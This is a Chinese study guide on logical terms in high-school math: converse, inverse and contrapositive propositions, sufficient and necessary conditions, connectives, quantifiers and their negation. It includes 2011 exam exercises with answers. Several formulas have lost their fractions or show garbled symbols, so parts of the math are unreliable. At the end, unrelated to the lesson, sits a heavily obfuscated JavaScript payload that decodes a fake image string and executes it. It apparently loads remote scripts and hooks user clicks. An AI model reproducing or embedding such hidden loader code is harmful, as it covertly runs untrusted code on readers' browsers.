推荐回答(2个)
一、定位整体
新课程标准对“常用逻辑用语”的定位为:“正确使用逻辑用语是现代社会公民应该具备的基本素质,无论是进行思考、交流,还是从事各项工作,都需要正确的运用逻辑用语表达自己的思想.在本模块中,同学们将在义务教育的基础上,学习常用逻辑用语,体会逻辑用语在表述和论证中的作用,利用这些逻辑用语准确地表达数学内容,更好地进行交流.”因此,学习逻辑用语,不仅要了解数理逻辑的有关知识,还要体会逻辑用语在表述或论证中的作用,使以后的论证和表述更加准确、清晰和简洁.
二、明确重点
“常用逻辑用语”分成三大节,分别为:命题及其关系,简单的逻辑联结词,全称量词与存在量词.
“命题及其关系”分两小节:一、“四种命题”,此节重点在于四种命题形式及其关系,互为逆否命题的等价性;二、“充分条件和必要条件”,此节重点在于充分条件、必要条件、充要条件的准确理解以及正确判断.
“简单的逻辑联结词”重点在于“且”、“或”、“非”这三个逻辑联结词的理解和应用.
“全称量词与存在量词”重点在于理解全称量词与存在量词的意义,以及正确做出含有一个量词的命题的否定.
三、突破难点
1.“四种命题”的难点在于分清命题的条件和结论以及判断命题的真假
例1分别写出下列命题的逆命题、否命题、逆否命题,并判断它们的真假.
(1)全等三角形的面积相等;
(2)m>时,方程mx2-x+1=0无实根;
(3)若sinα≠,则α≠30°.
解析(1)条件为两个三角形全等,结论为它们的面积相等.因此,原命题即为“若两个三角形全等,则它们的面积相等”,逆命题为“若两个三角形面积相等,则它们全等”,否命题为“若两个三角形不全等,则它们的面积不相等”,逆否命题为“若两个三角形面积不相等,则它们不全等”.根据平面几何知识,易得原命题和逆否命题为真命题,逆命题和否命题为假命题.
(2)原命题即为“若m>,则方程mx2-x+1=0无实根”,逆命题为“若方程mx2-x+1=0无实根,则m>”,否命题为“若m≤,则方程mx2-x+1=0有实根”,逆否命题为“若方程mx2-x+1=0有实根,则m≤”.根据判别式Δ=1-4m的正负可知,原命题、逆命题、否命题、逆否命题均为真命题.
(3)原命题即为“若sinα≠,则α≠30°”,逆命题为“若α≠30°,则sinα≠”,否命题为“若sinα=,则α=30°”,逆否命题为“若α=30°,则sinα=”.直接判断原命题与逆命题真假有些困难,但考虑到原命题与逆否命题等价,逆命题与否命题等价,因此可以先考虑逆否命题和否命题;由三角函数的知识,可知原命题和逆否命题为真命题,逆命题和否命题为假命题.
突破对于判断命题的真假,我们需要先弄清何为条件、何为结论,然后根据相应的知识进行判断,当原命题不容易直接判断时,可以先判断其逆否命题的真假性,从而得到原命题的真假性.
2.“充分条件和必要条件”的难点在于充要性的判断
例2在下列命题中,判断p是q的什么条件.(在“充分不必要条件”、“必要不充分条件”、“充要条件”、“既不充分又不必要条件”中选出一种)
(1)p:|p|≥2,p∈R;q:方程x2+px+p+3=0有实根.
(2)p:圆x2+y2=r2与直线ax+by+c=0相切;q:c2=(a2+b2)r2,其中a2+b2≠0,r≠0.
(3)设集合M={x|x>2},N={x|x<3},p:x∈M∩N;q:x∈M∪N.
解析(1)当|p|≥2时,例如p=3,此时方程x2+px+p+3=0无实根,因此“若p则q”为假命题;当方程x2+px+p+3=0有实根时,根据判别式有p≤-2或p≥6,此时|p|≥2成立,因此“若q则p”为真命题.故p是q的必要不充分条件.
(2)若圆x2+y2=r2与直线ax+by+c=0相切,则圆心(0,0)到直线ax+by+c=0的距离等于r,即r=,化简可得c2=(a2+b2)r2,因此“若p则q”为真命题;反过来,由c2=(a2+b2)r2,可得r=,即圆心(0,0)到直线ax+by+c=0的距离等于r,由解析几何知识得圆与直线相切,因此“若q则p”为真命题.故p是q的充要条件.
(3)M∩N=(2,3),M∪N=R,若x∈(2,3),此时显然有x∈R,因此“若p则q”为真命题;反过来,若x∈R,例如x=5,此时x?埸(2,3),因此“若q则p”为假命题.故p是q的充分不必要条件.
突破①从逻辑的观点理解:判断充分性、必要性的前提是判断给定命题的真假性,若“若p则q”为真命题,则p是q的充分条件;若“若q则p”为真命题,则p是q的必要条件;若两者都是真命题,则p是q的充要条件;若两者都是假命题,则p是q的既不充分也不必要条件.②从集合的观点理解:建立命题p,q相应的集合.p:A={x|p(x)成立},q:B={x|q(x)成立}.那么:若A?哿B,则p是q的充分条件;若B?哿A,则p是q的必要条件;若A=B,则p是q的充要条件.若A?芫B且B?芫A,则p是q的既不充分也不必要条件.
例3已知数列{an}的前n项和Sn=pn+q(p≠0且p≠1),求证:数列{an}为等比数列的充要条件为q=-1.
解析充分性:当q=-1时,a1=p-1;当n≥2时,an=Sn-Sn-1=pn-1(p-1).于是当n≥1时,=p,即数列{an}为等比数列.
必要性:当n=1时,a1=S1=p+q;当n≥2时,an=Sn-Sn-1
=pn-1(p-1).因为p≠0且p≠1,于是=p.又因为数列{an}为等比数列,所以==p,即=p,解之得q=-1.
综上所述,q=-1为数列{an}为等比数列的充要条件.
突破证明p是q的充要条件需要分两步:①充分性,把p作为已知条件,结合命题的前提条件,推出q;②必要性,把q作为已知条件,结合命题的前提条件,推出p.最后综上所述,可得p是q的充要条件.特别注意:充分条件的意义只在于保证结论成立,而不管它对结论成立是否必要;必要条件的意义只在于要使结论成立它必不可少,而不管它对结论成立是否充分.因此,在进行恒等变形或探求充要条件的过程中,只注意推导过程的充分性,其结果有可能缩小范围;只注意推导过程的必要性,其结果有可能扩大范围.
3.“简单逻辑联结词”的难点在于复合命题的真假性判断以及“命题的否定”与“否命题”的区分
例4指出下列命题的真假.
(1)-1是奇数或偶数;
(2)属于集合Q,也属于集合R;
(3)A?埭(A∪B).
解析(1)此命题为“p或q”的形式,其中p:-1是奇数;q:-1是偶数.因为p为真命题,所以原命题为真命题.
(2)此命题为“p且q”的形式,其中p:属于集合Q;q:属于集合R.因为只有q为真命题,所以原命题为假命题.
(3)此命题为“非p”的形式,其中p:A?哿(A∪B).因为p为真命题,所以原命题为假命题.
突破判断如“p或q”、“p且q”、“非p”形式的复合命题的真假时,首先要确定命题的构成形式,然后判断其中各简单命题的真假,最后再利用真值表判断复合命题的真假.
例5写出下列各命题的否定和否命题.
(1)若x+y是偶数,则x,y都是奇数;
(2)若xy=0,则x=0或y=0.
解析(1)命题的否定:若x+y是偶数,则x,y不都是奇数;否命题:若x+y不是偶数,则x,y不都是奇数.
(2)命题的否定:若xy=0,则x≠0且y≠0;否命题:若xy≠0,则x≠0且y≠0.
突破命题的否定只是否定命题的结论,而否命题既否定题设,又否定结论.需注意“x=0或y=0”的否定是“x≠0且y≠0”而不是“x≠0或y≠0”;“x,y都是奇数”的否定是“x,y不都是奇数”而不是“x,y都不是奇数”.
4.“全称量词与存在量词”的难点在于全称命题和存在性命题的真假性判断以及含有一个量词的命题的否定
例6判断下列命题是否为全称命题或存在性命题,并判断真假.
(1)有一个实数α,tanα无意义;
(2)任何一条直线都有斜率;
(3)?埚x<0,使x2+x+5<0;
(4)自然数的平方是正数.
解析(1)存在性命题,当α=时,tanα无意义,因此原命题为真命题.
(2)全称命题,当倾斜角为时,该直线斜率不存在,因此原命题为假命题.
(3)存在性命题,由判别式可知Δ=1-4×5=-19<0,所以对?坌x∈R,x2+x+5>0,因此原命题为假命题.
(4)全称命题,存在自然数0,其平方不是正数,因此原命题为假命题.
突破①要判定全称命题“?坌x∈M,p(x)”为真命题,需要对集合M中每个元素x,证明p(x)成立;如果集合M中找到一个元素x0,使得p(x)不成立,那么这个全称命题为假命题.②要判定存在性命题“?埚x0∈M,p(x)”为真命题,只需在集合M中找到一个元素x0,使得p(x0)成立即可;如果在集合M中,使p(x)成立的元素x不存在,那么这个存在性命题是假命题.
例7写出下列命题的否定.
(1)面积相等的三角形是全等三角形;
(2)有些质数是奇数;
(3)对?坌x∈R,x2+x+1=0都成立;
(4)?埚x∈R,x2+2x+5>0.
解析(1)原命题是全称命题,故其否定为:存在面积相等的三角形不是全等三角形.
(2)原命题是存在性命题,故其否定为:所有的质数都不是奇数.
(3)原命题是全称命题,故其否定为:?埚x∈R,使x2+x+1≠0.
(4)原命题是存在性命题,故其否定为:对?坌x∈R,x2+2x+5≤0都成立.
突破全称命题与存在性命题的区别在于构成两种命题的量词不同.实质上,“全称量词”与“存在量词”正好构成了意义相反的表述,因此在书写全称命题与存在性命题的否定时,一定要抓住决定命题性质的量词,从对量词的否定入手书写命题的否定.全称命题的否定是存在性命题,而存在性命题的否定是全称命题.
1.(2011年安徽理科卷)命题“所有能被2整除的数都是偶数”的否定是______________.
2.(2011年山东文科卷)已知a,b,c∈R,命题“若a+b+c=3,则a2+b2+c2≥3”的否命题是________.
3.(2011年湖南文科卷)“x>1”是“|x|>1”的
__________条件.
4.(2011年福建理科卷)若a∈R,则“a=2”是“(a-1)(a-2)=0”的______________条件.
5.(2011年浙江理科卷)“α=”是“cos2α=”的______________条件.
6.(2011年山东理科卷)对于函数y=f(x),x∈R,“y=|f(x)|的图像关于y轴对称”是“y=f(x)是奇函数”的____________条件.
7.(2011年浙江文科卷)若a,b为实数,则“0<ab<1”是“b<”的______________条件.
8.(2011年四川文科卷)设函数f(x)的定义域为A,若x1,x2∈A且f(x1)=f(x2)时,总有x1=x2,则称f(x)为单函数.例如,函数f(x)=2x+1(x∈R)是单函数.
给出下列命题:①函数f(x)=x2(x∈R)是单函数;②指数函数f(x)=2x(x∈R)是单函数;③若f(x)为单函数,x1,x2∈A且x1≠x2,则f(x1)≠f(x2);④在定义域上具有单调性的函数一定是单函数.其中的真命题是________.(写出所有真命题的编号)
1.存在一个能被2整除的数不是偶数.2.若a+b+c≠3,则a2+b2+c2<3.3.充分而不必要.4.充分而不必要.5.充分而不必要.6.必要而不充分.7.既不充分也不必要.8.②③④
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();